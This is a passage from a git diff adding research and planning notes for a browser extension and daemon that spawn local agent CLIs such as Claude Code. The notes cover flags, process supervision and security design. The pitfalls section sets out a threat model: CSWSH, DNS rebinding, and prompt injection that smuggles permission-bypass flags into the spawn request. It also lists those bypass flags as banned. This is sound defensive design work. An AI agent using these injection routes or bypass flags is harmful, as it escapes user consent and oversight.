NOT formally documented — adapter must treat it as best-effort and pin against fixtures | +| Agent persona | `--agent ` | Selects agent by name | +| Agent definitions | `opencode.json` `"agent"` key, or markdown in `~/.config/opencode/agents/` / `.opencode/agents/` | Fields: `description`, `mode` (`primary`\|`subagent`\|`all`), `model` (`provider/model`), `prompt` (`{file:./path}` supported), `permission` (`allow`\|`ask`\|`deny` per tool: `read`,`edit`,`bash`,`webfetch`,…), `temperature`, `steps` (max iterations). `opencode agent create` = interactive generator | +| Resume (chat-mode) | `-c, --continue`, `-s, --session `, `--fork` | | +| Permission bypass | 1.14.25: `--dangerously-skip-permissions` ("auto-approve permissions that are not explicitly denied (dangerous!)"); current docs list `--auto` with identical wording | **Rename in flight between 1.14.x and 1.17.x** — adapter must NOT hard-code either; prefer a shipped `fsb` agent with explicit `permission` config so no bypass flag is ever needed | +| MCP config | `opencode.json` / `opencode.jsonc` (project) or `~/.config/opencode/opencode.json` (global), `"mcp"` key | Local: `{"type":"local","command":["npx","-y","fsb-mcp-server"],"environment":{},"enabled":true,"timeout":5000}`; Remote: `{"type":"remote","url":"http://127.0.0.1:7226/mcp","headers":{},"enabled":true}`. Per-agent tool toggles support globs: `"tools": {"fsb*": true}` | +| Server modes | `opencode serve` (HTTP, `--port`/`--hostname`), `--attach `, `opencode acp` (ACP over stdio JSON-RPC) | `--attach` lets `run` reuse a running server — cheap process reuse for repeat delegations | + +**ACP note (applies to OpenCode + Gemini + future Zed-ecosystem agents):** both `opencode acp` and `gemini --experimental-acp` speak the Agent Client Protocol (JSON-RPC over stdio, zed.dev/acp). ACP is a *better long-term* delegation transport than scraping per-CLI JSONL (uniform session/permission/streaming semantics across agents), but it is the wrong MVP choice: Claude Code exposes no ACP server mode, and adding the `@zed-industries/agent-client-protocol` client library is a new dependency for adapters 2-4 only. Record it as the designated evolution path for the `AgentProviderAdapter` contract, not an MVP dependency. + +--- + +## Recommended Stack + +### Core Technologies (all built-in — zero new runtime deps) + +| Technology | Version | Purpose | Why Recommended | +|------------|---------|---------|-----------------| +| `node:child_process` `spawn` | Node ≥18.20.0 (mcp/ engines floor, unchanged) | Spawn + supervise agent CLIs | Only primitive that gives streaming stdio + `AbortSignal` + `detached` process groups. `signal` option verified in official docs: abort ≈ `.kill()` with `killSignal` (default `'SIGTERM'`), child errors with `AbortError` | +| `node:readline` (`createInterface({ input: child.stdout, crlfDelay: Infinity })`) | built-in | JSONL line framing for all four CLIs' stream output | Handles partial lines across chunk boundaries; zero deps; volume (LLM event streams) is far below any throughput where a Transform-stream splitter would matter. Wrap each line in `try { JSON.parse } catch` — all four CLIs may interleave non-JSON warnings on stderr, and OpenCode's event schema is undocumented | +| `@modelcontextprotocol/sdk` (existing pin ^1.29) | 1.29.0 | Capture `clientInfo` from `initialize` | **Verified in the pinned tag's source** (`src/server/index.ts` @ v1.29.0): `Server._oninitialize` stores `request.params.clientInfo` (L441) and exposes `getClientVersion(): Implementation | undefined` (L463) + `oninitialized` callback (L144). For the `McpServer` wrapper used in `mcp/src/server.ts`, access via `mcpServer.server.getClientVersion()` after `oninitialized` fires. Zero new code paths on the wire — INV-01 safe | +| `node:fs` / `node:os` | built-in | Installed-client detection | `platforms.ts` already carries per-OS config paths for 21 clients; detection = existence/mtime sweep over that registry. No library needed | +| `ws` (existing pin ^8.19) | 8.19+ | Reverse-request channel extension→daemon | New **additive** message types over the existing 7225 bridge (INV-01: additive only). No new transport | + +### Supporting Libraries + +| Library | Version | Purpose | When to Use | +|---------|---------|---------|-------------| +| — (none recommended) | | | The supervisor is ~200-300 lines of deliberate code; every candidate lib below was evaluated and rejected for this footprint (see Alternatives) | + +### Development Tools + +| Tool | Purpose | Notes | +|------|---------|-------| +| Recorded JSONL fixtures per CLI (`tests/fixtures/agent-streams/`) | Contract tests for stream parsers | Record real `claude -p --output-format stream-json`, `codex exec --json`, `gemini -o stream-json`, `opencode run --format json` outputs once per adapter; parsers tested offline. Protects against the repo's source-pin-style CI without live CLI calls | +| `claude --version` / `codex --version` / etc. probes | Adapter `detect()` capability gating | Known-good baselines verified in this research: claude 2.1.177, codex 0.142.5, opencode 1.14.25; gemini 0.50.0 (npm latest, docs-verified only). Claude ≥2.1.205 additionally exposes a `capabilities` array in `system/init` — prefer feature-detection over version compares where available | + +## Process Supervision Design Facts (verified from nodejs.org/api/child_process.html, 2026-07-10) + +These verbatim-verified behaviors dictate the supervisor implementation; encode them as tests: + +1. **Kill trees, POSIX:** `subprocess.kill()` does NOT kill grandchildren ("child processes of child processes will not be terminated when attempting to kill their parent"). Spawn with `detached: true` → child becomes "the leader of a new process group and session" → kill the whole tree with `process.kill(-child.pid, 'SIGTERM')`, escalate to `SIGKILL` after a ~5s grace. Do NOT call `subprocess.unref()` — the daemon must keep supervising. +2. **Kill trees, Windows:** negative-PID kill doesn't exist; `detached: true` gives the child "its own console window" instead. Use `spawn('taskkill', ['/pid', String(child.pid), '/T', '/F'])` (no graceful tier on Windows). Set `windowsHide: true` explicitly (verified default: `false`). +3. **Kill switch wiring:** one `AbortController` per delegation; `spawn(..., { signal })`. Abort kills with `killSignal` (default `'SIGTERM'`) and surfaces `AbortError` on the child's `error` event — map that to the side panel's "stopped by user" state, distinct from crash. +4. **Backpressure:** verbatim — "These pipes have limited (and platform-specific) capacity. If the subprocess writes to stdout in excess of that limit without the output being consumed, the subprocess blocks". Therefore attach stdout AND stderr consumers synchronously at spawn; keep stderr in a bounded ring buffer (e.g. last 64KB) for `doctor` diagnostics. +5. **Exit sequencing:** `'exit'` can fire while stdio is still open; "The `'close'` event will always emit after `'exit'`". Resolve the delegation only on `'close'` so trailing `result` lines are never lost. +6. **Prompt transport:** always write the task prompt to **stdin** (all four CLIs accept it), never argv — avoids shell quoting entirely, Windows ~32KB command-line limits, and prompt leakage in process listings. Close stdin after writing (Claude/codex read to EOF), EXCEPT in Claude chat-mode with `--input-format stream-json` where stdin stays open for subsequent user turns. +7. **Windows `.cmd` shims:** npm-installed CLIs (`claude`, `gemini`, `codex` via npm) are `.cmd` shims on Windows; since Node 18.20/20.12 (CVE-2024-27980) `spawn("claude.cmd")` without `shell: true` throws `EINVAL`. Resolve the real entry (prefer detecting the native binary; fall back to `{ shell: true }` with a fully fixed argv — safe here only because the prompt travels via stdin, never through the shell string). Confidence: MEDIUM-HIGH (well-documented Node security release; exact per-CLI installer layout to confirm during the Windows adapter phase). +8. **Env hygiene:** spawn with a copied, scrubbed env — explicitly delete `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`/`CODEX_API_KEY`, `GEMINI_API_KEY`/`GOOGLE_API_KEY` from the child env. Presence of these silently flips CLIs from subscription auth to API-key billing, breaking the "key-less agent provider" contract (verified for Claude: `system/init`→`api_retry` `billing_error` category exists precisely for this failure class). +9. **Timeouts:** two-tier — wall-clock cap per delegation AND an idle watchdog (no JSONL event for N seconds → probe/kill). `--max-turns` (Claude) / `steps` (OpenCode agent config) / exit code 53 (Gemini turn limit) provide agent-side backstops; the daemon-side timer is authoritative. + +## Claude Agent SDK vs. shelling to the CLI (explicit tradeoff) + +**Decision: shell to the user's installed `claude` binary. Do not add `@anthropic-ai/claude-agent-sdk`.** + +| Dimension | Shell to installed CLI | Embed `@anthropic-ai/claude-agent-sdk` (0.3.206) | +|---|---|---| +| Auth / billing | Uses whatever the user's CLI is logged in with — **Pro/Max subscription included**. This IS the product promise ("agent kind = no API key") | Docs verbatim (code.claude.com/docs/en/agent-sdk/overview, 2026-07-10): "Anthropic does not allow third party developers to offer claude.ai login or rate limits for their products, including agents built on the Claude Agent SDK. Please use the API key authentication methods". API key / Bedrock / Vertex / Foundry only | +| Distribution weight | 0 bytes — binary already on the user's machine (that's what "installed client detected" means) | SDK "bundles a native Claude Code binary for your platform as an optional dependency" — a second full Claude Code shipped inside `fsb-mcp-server`'s npm install, version-skewed from the user's own | +| Multi-agent symmetry | Same `spawn + JSONL` supervisor pattern for all four CLIs → one `AgentProviderAdapter` contract | Claude-only; Codex/Gemini/OpenCode still need the spawn path anyway → two runtimes to maintain | +| Programmatic ergonomics | Parse documented stream-json; in-process `canUseTool`-style brokering only via `--permission-prompt-tool` MCP indirection | Native message objects, `canUseTool` callback, in-process MCP servers — genuinely nicer API | +| Branding/policy | FSB launches the user's own installed tool (config-writer precedent: `claude mcp add` delegation already ships in install.ts) | SDK products may not present as "Claude Code"; adds compliance surface | +| Update coupling | User updates their CLI; adapter feature-detects (`system/init.capabilities`) | FSB owns the pinned SDK version and its update cadence | + +The ergonomics column is real but decisively outweighed: the SDK's auth policy alone disqualifies it for a feature whose definition is "use the subscription the user already pays for." If FSB ever wants an API-key-billed embedded execution path, that's what the existing `universal-provider.js` (7 providers) already is. + +## Installation + +```bash +# Runtime: nothing to install — Node built-ins + existing deps only. + +# mcp/ package: new modules, no package.json dependency changes +# mcp/src/agents/supervisor.ts (spawn/kill-tree/watchdog, ~200 lines) +# mcp/src/agents/adapters/*.ts (claude.ts first; codex/gemini/opencode later) +# mcp/src/agents/stream-parsers.ts (per-CLI JSONL event normalization) +# + additive WS message types in bridge.ts / agent-bridge.ts + +# Dev only: recorded stream fixtures under tests/fixtures/agent-streams/ +``` + +## Alternatives Considered + +| Recommended | Alternative | When to Use Alternative | +|-------------|-------------|-------------------------| +| Hand-rolled supervisor on `spawn` | `execa` 9.6.1 | If mcp/ ever grows many ad-hoc script invocations where its `cleanup`/template ergonomics pay off. For ONE long-lived supervised child shape it adds deps to a published npm package without solving tree-kill on POSIX (it also only signals the direct child) | +| `detached` + `kill(-pid)` / `taskkill /T` | `tree-kill` 1.2.2 | If FSB cannot use `detached: true` (e.g. a CLI misbehaves as a session leader). tree-kill walks `ps`/`pgrep` output — race-prone vs. atomic process-group kill; keep as fallback knowledge, not a dep | +| `node:readline` line framing | `split2` 4.2.0 | If a future stream needs true Transform-stream backpressure into a pipeline. Current consumer (WS fan-out to side panel) is push-based; readline suffices | +| Per-CLI JSONL adapters (MVP) | ACP client (`@zed-industries/agent-client-protocol`) via `opencode acp` / `gemini --experimental-acp` | Adapter v2, once ≥2 non-Claude agents are in scope — uniform protocol beats N bespoke parsers, but Claude Code (the MVP) doesn't speak it | +| `claude --resume` respawn per turn (chat-mode) | Persistent child with `--input-format stream-json` + `--output-format stream-json` | If per-turn respawn latency (CLI cold start) proves unacceptable in the side panel. More capable but adds lifetime management (idle child, SW-eviction interplay); benchmark before committing | +| Claude Code via its own CLI | `claude --permission-prompt-tool mcp__fsb__` consent brokering | Later consent-tier phase: lets FSB surface CLI permission asks in the side panel instead of blanket `dontAsk` denial | + +## What NOT to Use + +| Avoid | Why | Use Instead | +|-------|-----|-------------| +| `@anthropic-ai/claude-agent-sdk` | Policy-prohibited subscription auth for third-party products; bundles a duplicate CC binary; Claude-only | Spawn the user's installed `claude` (tradeoff table above) | +| `node-pty` (or any PTY layer) | All four CLIs have first-class non-interactive modes with clean piped stdio; PTY adds native-build deps to a published npm package and ANSI-garbage parsing | `spawn` with `stdio: ['pipe','pipe','pipe']` | +| `child_process.exec` / `execFile` for delegation | Buffers output until exit (`maxBuffer` kills long streams); no streaming | `spawn` + readline | +| `--dangerously-skip-permissions` (Claude), `--dangerously-bypass-approvals-and-sandbox` (Codex), `--approval-mode=yolo` (Gemini), `--auto`/`--dangerously-skip-permissions` (OpenCode) | Blanket bypass on a channel that is already RCE-adjacent; violates the milestone's "strict permission defaults, explicit consent tiers" | Claude: `--permission-mode dontAsk` + `--allowedTools "mcp__fsb"`; Codex: default `read-only` sandbox; Gemini: `--allowed-mcp-server-names fsb` + `trust` on the fsb server only; OpenCode: shipped agent `permission` map | +| `--bare` (Claude) | Skips OAuth/keychain → breaks subscription auth | `--strict-mcp-config` + `--agents` + explicit flags for hermeticity | +| Deprecated flags: `--full-auto` (Codex), `-y/--yolo` and `--allowed-tools` (Gemini) | Verified deprecated in current docs; emit warnings today, removal risk tomorrow | Current equivalents listed in the matrices | +| Pinning agent CLI versions in FSB | User-owned binaries update on their own cadence | `detect()` = version probe + capability gate (+ `system/init.capabilities` for Claude ≥2.1.205); fixtures pin the parser contract, not the binary | + +## Stack Patterns by Variant + +**Task-mode (MVP, per-delegation spawn):** +- Claude: `-p` + `--no-session-persistence` + stdin prompt; Codex: `codex exec --ephemeral`; ephemeral = no session litter in the user's CLI history. + +**Chat-mode (where supported):** +- Claude: omit `--no-session-persistence`, capture `session_id` from `system/init`/`result`, respawn with `--resume ` — **must reuse the same daemon-owned cwd** (session lookup is directory-scoped, verified). Codex: `codex exec resume `. Gemini: `-r ` (weaker: index-based). OpenCode: `-s `. + +**If the user's Claude ≥2.1.205:** read `system/init.capabilities` for feature detection instead of version parsing. + +**If delegation target is OpenCode with a running server:** prefer `opencode run --attach http://localhost:` over cold spawn. + +## Version Compatibility + +| Package/Binary | Compatible With | Notes | +|-----------|-----------------|-------| +| mcp/ `engines.node >=18.20.0` | All recommended built-ins | `spawn` `signal` (15.5+), `readline` promises (17+), `.cmd` EINVAL behavior starts exactly at 18.20 — floor unchanged, no bump needed | +| `@modelcontextprotocol/sdk` ^1.29 | `getClientVersion()` / `oninitialized` | Verified present in tag v1.29.0 source; note upstream repo `main` is now a v2 monorepo (`packages/server/src/server/server.ts` keeps the same accessor) — pin stays on 1.x | +| claude 2.1.177 (local baseline) | All matrix-1 flags | `manual` permission-mode alias needs ≥2.1.200; `capabilities` array needs ≥2.1.205 | +| codex 0.142.5 (local baseline) / npm 0.144.1 | All matrix-2 flags | `--ephemeral`, `--ignore-user-config`, `-c` overrides all present at 0.142.5 | +| opencode 1.14.25 (local) vs 1.17.18 (npm) | `run --format json`, `--agent`, sessions | Permission-bypass flag renamed between these versions (`--dangerously-skip-permissions` → docs' `--auto`) — adapter avoids both | +| gemini 0.50.0 (npm latest) | Matrix-3 flags | Docs-verified only; no local binary — first Gemini adapter phase must start with a live `--help` capture | + +## Sources + +- Local binaries (strongest evidence, run 2026-07-10): `claude --help` @ 2.1.177; `codex exec --help` + `codex mcp --help` @ 0.142.5; `opencode run --help` @ 1.14.25 — all flags quoted verbatim +- https://code.claude.com/docs/en/cli-reference — full flag list incl. `--agents` fields, `--tools`, `--permission-mode` values (HIGH) +- https://code.claude.com/docs/en/headless — stream-json event contract, `system/init` capabilities, `--bare` auth caveat, resume cwd-scoping, 10MB stdin cap (HIGH) +- https://code.claude.com/docs/en/permissions — MCP rule syntax `mcp__server` / `mcp__server__*` / anchored allow-globs, verbatim (HIGH) +- https://code.claude.com/docs/en/agent-sdk/overview — SDK auth policy quote, bundled-binary note, branding rules (HIGH) +- https://code.claude.com/docs/en/sub-agents — `--agents` JSON full field list, scope precedence (HIGH) +- Codex non-interactive docs: developers.openai.com/codex/noninteractive → learn.chatgpt.com/docs/non-interactive-mode; config: learn.chatgpt.com/docs/config-file/config-reference (fetched 2026-07-10) — JSONL events, resume, deprecated `--full-auto`, `[mcp_servers]` keys, approval_policy drift (HIGH for exec flags via local binary; MEDIUM for approval_policy set) +- google-gemini/gemini-cli `docs/cli/cli-reference.md`, `docs/cli/headless.md`, `docs/tools/mcp-server.md` @ main, 2026-07-10 (MEDIUM-HIGH; no local binary) +- https://opencode.ai/docs/cli/ + /docs/mcp-servers/ + /docs/agents/ (page-stamped "Jul 10, 2026") + [anomalyco/opencode issue #8463](https://github.com/anomalyco/opencode/issues/8463) / [#23370](https://github.com/anomalyco/opencode/issues/23370) re: bypass-flag naming (HIGH for 1.14.25 via local binary) +- OpenCode ACP: https://opencode.ai/docs/acp/ + https://zed.dev/acp/agent/opencode + https://zed.dev/acp (MEDIUM-HIGH) +- modelcontextprotocol/typescript-sdk tag v1.29.0 `src/server/index.ts` L135/L144/L441/L456-465 — `clientInfo` storage + `getClientVersion()` verified at the exact pinned version (HIGH) +- https://nodejs.org/api/child_process.html — detached/process-group, kill-tree limitation, AbortSignal, killSignal default, windowsHide default false, exit-vs-close, pipe backpressure block, shell warning, maxBuffer scope — all quoted verbatim (HIGH) +- npm registry (`npm view`, 2026-07-10): @anthropic-ai/claude-agent-sdk 0.3.206, @google/gemini-cli 0.50.0, opencode-ai 1.17.18, @openai/codex 0.144.1, tree-kill 1.2.2, execa 9.6.1, split2 4.2.0 (HIGH) + +--- +*Stack research for: v0.9.91 MCP Clients as Providers — agent-CLI spawning, supervision, and stream parsing* +*Researched: 2026-07-10* diff --git a/.planning/milestones/v0.9.91-research/SUMMARY.md b/.planning/milestones/v0.9.91-research/SUMMARY.md new file mode 100644 index 000000000..964a4f284 --- /dev/null +++ b/.planning/milestones/v0.9.91-research/SUMMARY.md @@ -0,0 +1,225 @@ +# Project Research Summary + +**Project:** FSB v0.9.91 — MCP Clients as Providers +**Domain:** Brownfield extension of an MV3 Chrome extension + Node MCP daemon to spawn/supervise agent CLIs (Claude Code first) as first-class side-panel providers driving the live browser via FSB's own MCP tools +**Researched:** 2026-07-10 +**Confidence:** HIGH + +## Executive Summary + +This is a brownfield integration milestone, not a greenfield build. All four research dimensions converge on a small, additive extension of proven FSB systems: the `platforms.ts` 21-client registry gains an identity/detection layer; the ws://7225 bridge gains a new reverse-request channel (`ext:*` frames, additive per INV-01); the `fsb-mcp-server serve` daemon gains a `SpawnSupervisor` module that shells to the user's installed agent CLI; and `EXECUTION_MODES` gains a fifth `delegated` entry. Zero new runtime dependencies — Node built-ins (`child_process`, `readline`, `fs`, `os`) plus the already-pinned `@modelcontextprotocol/sdk ^1.29` (which already exposes `server.getClientVersion()` — the seam is verified). The spawned CLI connects back as a normal FSB MCP client, reusing agent identity, tab ownership (v0.9.60), and visual-session badges (v0.9.36/62) unchanged — that pipeline reuse is the whole point. + +The recommended approach is a **security-first, contract-first, adapter-second** shape: identity capture and the Providers panel rename land first (pure additive, low risk, immediate value); then the reverse-request channel with all origin/rebind/secret/consent-tier defenses baked in from commit 1 of Phase 60; then the Claude Code MVP built AS an adapter (not hard-coded) so OpenCode/Codex/Gemini slot in without rework. **Explicitly shell to the user's installed `claude` binary — do NOT embed `@anthropic-ai/claude-agent-sdk`**: Anthropic's policy prohibits third-party products from using consumer subscription auth via the SDK, but shelling to the genuine binary is standard ecosystem practice (Cline, Roo, Zed, Conductor all ship it), and that IS the product promise ("agent kind = no API key needed"). Subscription-OAuth token proxying is banned outright (Anthropic enforced this Apr 4 2026). + +Key risks are almost entirely security-critical and cluster in one phase (60). The spawn channel is RCE-adjacent by construction: a browser click becomes `execve(claude, -p, )` inside a localhost daemon. Every 2025-2026 CVE we surveyed (Inspector CVE-2025-49596, MCP SDK CVE-2025-66414/66416, Claude Code CVE-2025-59536, Gemini CVSS 10 workspace-trust, TrustFall one-keypress RCE across four CLIs) was the same failure class: an assumed trust boundary that was never enforced. Mitigations are known and shippable in Phase 60: strict `Origin` allowlist (extension ID only), strict `Host` = loopback (DNS-rebind defense), argv-only spawn with daemon-controlled flag set, per-install rotating shared secret in `Sec-WebSocket-Protocol` (never URL), `--strict-mcp-config` mandatory, `--dangerously-skip-permissions` NEVER exposed, POSIX detached + process-group kill / Windows `taskkill /T /F`, `chrome.storage.session` persistence for MV3 SW-eviction survival, and source-pin tripwire discipline on every extension-touching commit. + +## Key Findings + +### Recommended Stack + +Zero new runtime deps in `mcp/`. The supervisor is ~200-300 lines on `node:child_process spawn` + `node:readline` line framing + the existing `@modelcontextprotocol/sdk ^1.29`. Flag matrices for all four target CLIs were verified against local binaries (claude 2.1.177, codex 0.142.5, opencode 1.14.25) plus current docs (gemini 0.50.0); adapters must version-probe (` --version`) and feature-detect (Claude ≥2.1.205 exposes a `capabilities` array in `system/init`). + +**Core technologies:** +- `node:child_process` `spawn({ detached: true, signal, windowsHide: true })` — supervised child with tree-killable process group; `AbortController` per delegation for clean cancel semantics +- `node:readline` `createInterface({ input: child.stdout, crlfDelay: Infinity })` — JSONL line framing that handles partial lines and stderr interleave; per-line `try { JSON.parse } catch` +- `@modelcontextprotocol/sdk ^1.29.0` — `server.server.getClientVersion(): Implementation | undefined` and `oninitialized` callback verified at pinned tag; captures `clientInfo` from every `initialize` handshake (currently discarded); INV-01 safe (no wire change) +- `ws ^8.19` (existing) — reverse-request channel is additive message types (`ext:request` / `ext:response` / `ext:event`) over the SAME 7225 bridge; no new transport, no new port +- Recorded JSONL fixtures per CLI (`tests/fixtures/agent-streams/`) — offline contract tests that survive CI without live CLI calls + +**Explicit rejections:** `@anthropic-ai/claude-agent-sdk` (banned subscription auth for third parties + bundles a duplicate Claude Code binary + Claude-only), `node-pty`/any PTY (headless modes exist), `execa`/`tree-kill`/`split2` (built-ins suffice for one long-lived child shape), `--bare` on Claude (skips OAuth), URL query-string secrets, `0.0.0.0` binding, and every "auto/yolo/dangerously-skip" flag. + +### Expected Features + +Comparable products cluster in four shapes: same-dropdown (Cline/Roo), separate-section (Zed), account-provider (Xcode), hosted-picker (GitHub Agent HQ). FSB's structural difference is that every comparable fronts an agent for coding-in-a-repo; FSB fronts the agent for driving the user's live browser, and the spawned agent loops back through FSB's own MCP tools. No surveyed product does side-panel-initiated spawn of a local CLI that then controls the user's real logged-in browser. + +**Must have (table stakes):** +- Providers panel with `api`/`agent` kinds; agent kind hides key field, shows connection/install/auth state (Cline convention) +- "Uses your existing subscription — no API key needed" copy on agent providers; explicit inverse ("your Anthropic BYOK key does NOT make Claude Code work") +- Installed/not-installed detection per agent with 3-state degradation ("installed" / "not installed" / "daemon offline") +- Live streaming progress feed with per-tool-call visibility (map `claude -p --output-format stream-json --include-partial-messages` events to a side-panel feed) +- Stop/kill button that actually reclaims tabs (kills tree + releases v0.9.60 tab ownership) +- Explicit offline → `fsb-mcp-server doctor` handoff (extension has no `nativeMessaging`; cannot wake the daemon) +- Consent gate before spawn + strict-permission defaults + `--strict-mcp-config` (browser-control consent conventions from Claude in Chrome / Atlas / Gemini auto-browse) +- Usage/cost reporting appropriate to kind — API kind keeps cost tracker; agent kind shows tokens/turns/duration + "included in your subscription" (never fabricated dollars) +- Thread-as-session continuity (Claude/Codex/Gemini all support resume; stateless-per-message is the fallback for task-mode MVP) +- Visible in-browser activity — orange glow + visual-session badges already exist + +**Should have (differentiators):** +- Ground-truth recommended default (connected > installed > copy-clicked) — never auto-switch +- Live-connected roster from MCP `initialize` handshake — unique observability nobody else has +- Closed-loop delegation (side panel → spawn → browser control via FSB MCP) with a shipped `fsb` agent definition via `--agents` instead of prompt-stuffing +- Multi-agent adapter contract (`AgentProviderAdapter`: `detect / buildSpawn / parseEvents / kill / caps`) +- Cross-surface session continuity — surface `session_id` so `claude --resume ` works in the terminal after the side-panel run +- Doctor-integrated failure UX with layer classification +- Kill switch that reports "agent stopped, 2 tabs released" + +**Defer (v1.x / v2+):** +- Chat-mode via `--resume` + per-thread cwd pinning (task-mode ships first) +- OpenCode → Codex → Gemini adapters (contract proven on Claude Code first) +- Native-messaging host to wake the daemon (removes biggest UX cliff, adds installer + attack surface) +- ACP-based adapter unification (`@zed-industries/agent-client-protocol`) — designated evolution path once ≥2 non-Claude adapters ship +- Remote delegation surfaces (Happy-style mobile approvals) + +**Anti-features (hard NO):** +- Proxying/spoofing subscription OAuth tokens or using Agent SDK with consumer auth (Anthropic banned Apr 4 2026) +- Bundling/silent-installing agent CLIs (Conductor can; FSB is MV3 extension + npm daemon — wrong shape) +- PTY/TUI screen-scraping (structured headless interfaces exist for all four) +- `--dangerously-skip-permissions` / `--yolo` / `--auto` as default or convenience toggle (RCE) +- Remote-LAN/tunnel delegation this milestone (localhost-only) +- Fabricated dollar costs for subscription-backed runs (Cline shows $0.00 — mimic) +- Auto-switching provider when a "better" agent connects +- Forcing/funneling users away from BYOK (INV-03 provider parity) + +### Architecture Approach + +FSB v0.9.91 is a brownfield integration map — the four features layer onto existing seams. `PLATFORMS` registry + `resolvePlatformTarget` handle disk detection; `AgentScope.ensure()` sends the `agent:register` payload (empty `{}` today — the clientInfo seam); `mcp-bridge-client.js:_ws.onopen` mints a per-connect `connectionId` (the pattern to clone for clientInfo stamping); the ws://7225 hub already gates by browser Origin (`bridge.ts:297-309`) and handles hub-exit promotion (`:756-783`); the `serve` daemon (`index.ts:266-294`) is the only intentionally long-lived process. Delegation coexists with the extension's own agent loop by becoming the fifth `EXECUTION_MODES` entry — the reasoning loop runs in the spawned CLI, not `runAgentLoop`; the daemon keeps only a session-lite record for UI state. + +**Major components (new + modified):** + +1. **Client-identity capture glue** (NEW inline in `runtime.ts` / `agent-scope.ts`; MODIFY `mcp-tool-dispatcher.js:handleAgentRegisterRoute` + `agent-registry.js`) — reads `getClientVersion()`, threads `clientInfo` through the additive `agent:register` payload, extension stamps registry AgentRecord + rolls up to durable `fsbAgentProviders.connected` +2. **Providers panel** (MODIFY `control_panel.html:146` + `options.js`) — rename "API Configuration" → "Providers"; NEW `providerKind` setting alongside `modelProvider` (which stays scoped to the 7 API providers so `universal-provider.js` never sees an agent value); agent-kind hides key groups, shows installed/connected/auth state +3. **Reverse-request protocol** (NEW additive types in `mcp/src/types.ts` + `bridge.ts` + `mcp-bridge-client.js`) — `ext:request` / `ext:response` / `ext:event` frames; supervisor advertises `capabilities: ['agent-spawn']` on `relay:hello`; hub routes locally or forwards to the advertising relay; Origin allowlist + shared secret + consent tier gate every frame +4. **SpawnSupervisor** (NEW `mcp/src/spawn-supervisor.ts`, ~200-300 lines, lives in the `serve` daemon) — validates consent + secret, looks up adapter, `spawn` with adapter-built argv, parses stream-json into `ext:event` fan-out, kill (SIGTERM → SIGKILL escalation with negative-PID on POSIX / `taskkill /T /F` on Windows) +5. **Adapter registry** (NEW `mcp/src/agent-providers/{index,adapter,claude-code}.ts`) — `AgentProviderAdapter` contract: `detect() / buildSpawn(task, ctx) / parseEvents(stream) / kill(child) / caps()`; keyed against `INSTALL_CLIENTS` + `PLATFORMS`; Claude Code first, then OpenCode/Codex/Gemini +6. **Fifth execution mode** (MODIFY `extension/ai/engine-config.js:63-108`) — `delegated: { uiFeedbackChannel: 'popup-sidepanel', animatedHighlights: true, safetyLimits: wall-clock + event-silence watchdog }` (no iteration cap — loop runs in the external CLI) +7. **Delegation coordinator** (MODIFY `extension/background.js` + `sidepanel.js`) — `startDelegatedTask`/`stopDelegatedTask` runtime messages; delegated session-lite records persisted to `chrome.storage.session` for SW-eviction survival; MUST use same-context `fsbDispatchInternalMessage` (auto-memory: `sendMessage` never loops back in-SW) + +**Spawner ownership decision:** the `serve` daemon owns spawning. Rationale: hub identity is unstable by design (any stdio server can hold the port; hub-exit promotion reshuffles roles); spawning is RCE-adjacent and needs a single explicit consent holder; the daemon is the only intentionally long-lived process; and the extension can't wake anything (no `nativeMessaging`). The hub's only new job is routing `ext:*` frames to whichever relay advertised `agent-spawn` capabilities. + +### Critical Pitfalls + +The security section is the top of the pitfall stack. Every one of the top 5 is a repeat of a 2025-2026 CVE class that already shipped in the wild. + +1. **CSWSH on ws://localhost:7225 → spawn RCE** — an attacker-controlled tab dials `ws://localhost:7225` and sends the delegation request. Prevention: strict `Origin` allowlist to `chrome-extension://` on the WS upgrade, `Sec-WebSocket-Protocol` shared secret, `Host` = loopback, never bind `0.0.0.0`. Reference incidents: Mailpit, Dozzle CVE-2026-44985, Nanobot. Phase 60. +2. **DNS rebinding against localhost** — attacker's page resolves `evil.com` to `127.0.0.1` after the fact; loose `Host` checks pass. Prevention: `Host` header equality against `127.0.0.1`/`localhost` (port-stripped, case-folded), `Origin` allowlist still primary. Reference incidents: CVE-2025-49596 (Inspector, CVSS 9.4), CVE-2025-66414/66416 (MCP SDKs). Phase 60. +3. **Prompt-injection into spawn payload → RCE** — reverse-request payload carries `--dangerously-skip-permissions` or a malicious `--mcp-config`. Prevention: daemon owns the flag set; extension provides ONLY prompt string + adapter selector; reject unknown payload keys; strict argv construction (never `sh -c`); ship an `fsb` agent definition instead of prompt-stuffing; `--strict-mcp-config` mandatory. Reference incidents: CVE-2025-59536, CVE-2025-54794/54795, TrustFall. Phases 60/61/62 (defense-in-depth). +4. **`--dangerously-skip-permissions` / `--yolo` as default or "fast mode"** — 1-click RCE for any prompt injection. Prevention: PERMANENT invariant that these flags never appear in FSB's spawn path; grep-fail CI gate. Phase 60. +5. **Weak / leaked shared secret** — token in `chrome.storage.sync` (sync = huge leak surface), in URL query, in diagnostic logs. Prevention: per-install `>=32-byte` random token, rotate on daemon restart, transport via `Sec-WebSocket-Protocol` header only, redaction bar extends `redactForLog`, Origin allowlist stays primary (secret is defense-in-depth). Phase 60. + +Additional load-bearing pitfalls with narrower phase homes: +- **Orphaned/zombie children on cancel** (Windows + POSIX): `spawn({ detached: true })` + `process.kill(-child.pid, 'SIGTERM')` on POSIX, `taskkill /pid /T /F` on Windows, orphan-scan on daemon startup. Phase 61. +- **Stdout backpressure deadlock**: `readline` interface, no `await` in the parse handler, drop-with-notice on side-panel close. Phase 61. +- **Daemon crash mid-run leaves CLI controlling browser**: extension-side heartbeat, spawned CLI exits when MCP transport dies, daemon restart doesn't blind-adopt. Phase 62. +- **Agent CLI stdout/flag/schema drift between versions**: adapter version detection, fail-loud on unknown events, drift-smoke CI job. Phases 61 + 63. +- **MV3 SW eviction during long delegation**: `chrome.storage.session` write per progress event, 20s WS heartbeat resets SW idle timer (Chrome 116+), `chrome.alarms` backup, extend the load-bearing v0.10.0 `setTimeout`-iterator pattern (INV-04). Phase 62. +- **Source-pin tripwire tests break the moment extension gets wired** (auto-memory): every extension-source edit updates paired tripwires in the same commit; full test suite green from commit 1 of every phase. Every extension-touching phase. +- **Chat-thread vs one-shot mismatch (`--resume` vs `-p` semantics)**: Claude Code `--continue` silently creates a new session in `-p` mode; adapter contract has explicit `mode: 'task' | 'chat'`. Phase 61 + 62. +- **User-vs-agent tab conflict**: default the delegated agent to a new background tab; explicit "take control" affordance on the active tab; `change_report` reconciliation detects user-initiated navigation. Phase 62. +- **Hub/relay 